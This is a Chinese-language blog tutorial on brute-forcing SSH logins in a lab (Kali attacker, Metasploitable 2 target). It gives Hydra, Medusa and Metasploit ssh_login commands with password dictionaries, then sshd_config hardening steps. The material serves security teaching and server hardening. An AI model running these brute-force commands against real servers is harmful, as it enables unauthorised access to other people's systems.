黑客的“猜密码”游戏:SSH暴力破解实战与Linux安全加固

摘要: SSH是Linux服务器的"大门",但若配置不当,攻击者可通过暴力破解轻松闯入。本文将介绍SSH协议原理、暴力破解工具(Hydra/Medusa),并使用Metasploit的ssh_login模块进行实战演示。同时,提供SSH安全配置方案:修改端口、禁止root登录、限制登录尝试次数、白名单访问等,帮助运维人员加固服务器。适合初学者和安全爱好者。


一、实验环境说明

设备角色 操作系统 IP地址
攻击机 Kali Linux 2026.1 10.0.0.129/24
靶机 Metasploitable 2 (Linux) 10.0.0.243/24

提示: Metasploitable 2 默认SSH用户名msfadmin,密码msfadmin,属于典型的弱密码。实验中可自行添加其他弱密码组合。


二、SSH协议简介

SSH(Secure Shell)是一种基于应用层的安全协议,专为远程登录和其他网络服务提供加密传输。主要特点:

数据加密:防止网络窃听和DNS/IP欺骗。

两种认证方式

  • 基于密码的认证(传统方式,易被爆破)

  • 基于密钥的认证(安全性高,推荐)

数据压缩:加快传输速度。

常用客户端:Putty、FinalShell、MobaXterm、SecureCRT等。


三、暴力破解原理

暴力破解(Brute Force) ,也称穷举法,是攻击者通过预设的用户名和密码列表(即"字典"),自动化地逐个尝试登录,直到找到正确的组合。其核心思想是:大多数用户会选择简单易记的密码,或者系统默认的弱凭证(如admin/adminroot/123456),攻击者便利用这一人性弱点发起攻击。

字典来源:攻击者通常会使用以下几种字典:

  • 常见弱密码字典 :如123456adminrootpasswordqwerty1qaz2wsx等。

  • 用户名与密码相同 :如admin/adminroot/roottest/test

  • 基于目标信息的定制字典:如公司名称、员工生日、部门缩写等(针对定向攻击)。

  • 已泄露的密码库 :如rockyou.txt(Kali Linux中内置,包含超过1400万个真实泄露密码)。

攻击流程

  1. 攻击者获得目标SSH服务的IP和端口(默认22)。

  2. 使用自动化工具加载字典,并发起大量登录请求。

  3. 工具根据返回结果(如"Authentication successful"或错误码)判断是否成功。

  4. 一旦成功,攻击者立即获得Shell访问权限,进而进行后续渗透。

常见暴力破解工具详解:

复制代码
Hydra:
  特点: 支持多种协议(SSH、FTP、HTTP、RDP等),速度快,支持多线程。
  示例: hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.0.0.243 -t 4

Medusa:
  特点: 类似Hydra,支持多线程,可指定重试延迟。
  示例: medusa -h 10.0.0.243 -u root -P /root/passlist.txt -M ssh -t 5

Metasploit ssh_login:
  特点: 集成在MSF框架中,可与后期渗透无缝衔接,支持会话自动建立。
  示例(msfconsole内执行):
    use auxiliary/scanner/ssh/ssh_login
    set RHOSTS 10.0.0.243
    set USERPASS_FILE /root/userpasswd
    run

防御提示

面对暴力破解,可采取以下措施:

  • 使用强密码(大小写字母+数字+特殊符号,长度≥12位)。

  • 开启账户锁定策略 (如fail2ban:连续失败N次后封锁IP一段时间)。

  • 修改SSH默认端口(如改为12345),大幅减少自动化扫描流量。

  • 启用密钥认证并禁用密码登录。

  • 配置双因素认证(2FA)


四、实战:使用Metasploit进行SSH暴力破解

步骤1:创建字典文件

在Kali中创建一个简单的用户名/密码字典:

复制代码
vim /root/userpasswd

每行格式:用户名 密码。示例内容:

root 123456

root root

admin admin

msfadmin msfadmin

test test123

步骤2:启动MSF并搜索SSH爆破模块
复制代码
msfconsole -q
msf > search ssh_login

结果:

0 auxiliary/scanner/ssh/ssh_login

步骤3:使用模块并设置参数
复制代码
msf > use 0
msf > set RHOSTS 10.0.0.243
msf > set USERPASS_FILE /root/userpasswd
msf > set STOP_ON_SUCCESS true   # 成功后停止继续尝试
msf > set THREADS 5               # 可选,并发线程数
msf > run

运行结果如下:

步骤4:切换到获取的会话
复制代码
msf > sessions -i 1

进入会话后,可以执行命令:

复制代码
id
whoami
ifconfig

五、SSH安全配置(靶机防御加固)

编辑SSH配置文件/etc/ssh/sshd_config

复制代码
vim /etc/ssh/sshd_config

推荐修改项:

配置项 推荐值 说明
Port 12345(非默认) 改变默认22端口,减少自动化扫描
LoginGraceTime 60 单次连接超时1分钟,自动断开空闲连接
PermitRootLogin no 禁止root直接远程登录(改用普通用户+sudo)
MaxAuthTries 2 单次连接最大认证尝试次数,超过即断开
AllowUsers kali@192.168.10.1 仅允许特定用户从特定IP登录(白名单)
PasswordAuthentication no 禁用密码认证(仅允许密钥认证,更高安全)

修改后重启服务:

复制代码
systemctl restart ssh

验证效果:

  • root用户无法直接登录。

  • 端口变为12345,连接命令变为ssh -p 12345 user@10.0.0.243


六、总结

本文针对SSH服务的暴力破解攻击进行了复现与防御研究。在Kali Linux 2026.1攻击机(10.0.0.129)与Metasploitable 2靶机(10.0.0.243)环境中,使用Metasploit框架的auxiliary/scanner/ssh/ssh_login模块,基于自定义字典成功爆破出弱密码账户(msfadmin)。实验表明,弱密码是SSH服务面临的主要威胁,攻击者利用自动化工具可快速获取系统访问权限。为应对此类攻击,本文提出了SSH安全加固方案:修改默认端口、设置连接超时、禁止root远程登录、限制最大认证次数、配置用户/IP白名单,并可进一步禁用密码认证,改用密钥认证。实施上述措施后,暴力破解攻击的成功率将大幅降低。运维人员应定期检查SSH配置,及时更新弱密码,并监控/var/log/auth.log中的异常登录尝试。


**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

相关推荐
kebidaixu1 小时前
OK3568开发板更新Ubuntu22.04方法总结
linux·运维·服务器
晚风予卿云月2 小时前
【Linux】Linux2.6 O(1)调度器超详解 | 进程切换+内核链表 | 面试必背
linux·运维·面试
www.022 小时前
Linux 终端守护神 Tmux :如何优雅地管理后台实验与恢复会话
linux·运维·服务器·人工智能·tmux
广州灵眸科技有限公司3 小时前
瑞芯微(EASY EAI)RV1126B yolov11-track多目标跟踪部署教程
linux·开发语言·网络·人工智能·yolo·机器学习·目标跟踪
谷雨不太卷3 小时前
计算机网络:套接字
linux·服务器·计算机网络
YuanDaima20483 小时前
WSL2 与 Ubuntu 22.04 基础环境部署指南
linux·运维·服务器·人工智能·ubuntu·docker
万邦科技Lafite3 小时前
API接口一键获取商品评论,根据商品评论分析客户画像
linux·服务器·数据库·windows·microsoft·电商开放平台
sulikey4 小时前
操作系统磁盘 I/O:为何选择“块“而非“扇区“?
linux·操作系统·io·磁盘·磁盘io
一个人旅程~4 小时前
如何永久关闭bitlocker并防止出现更新后被强制加密?
linux·windows·经验分享·电脑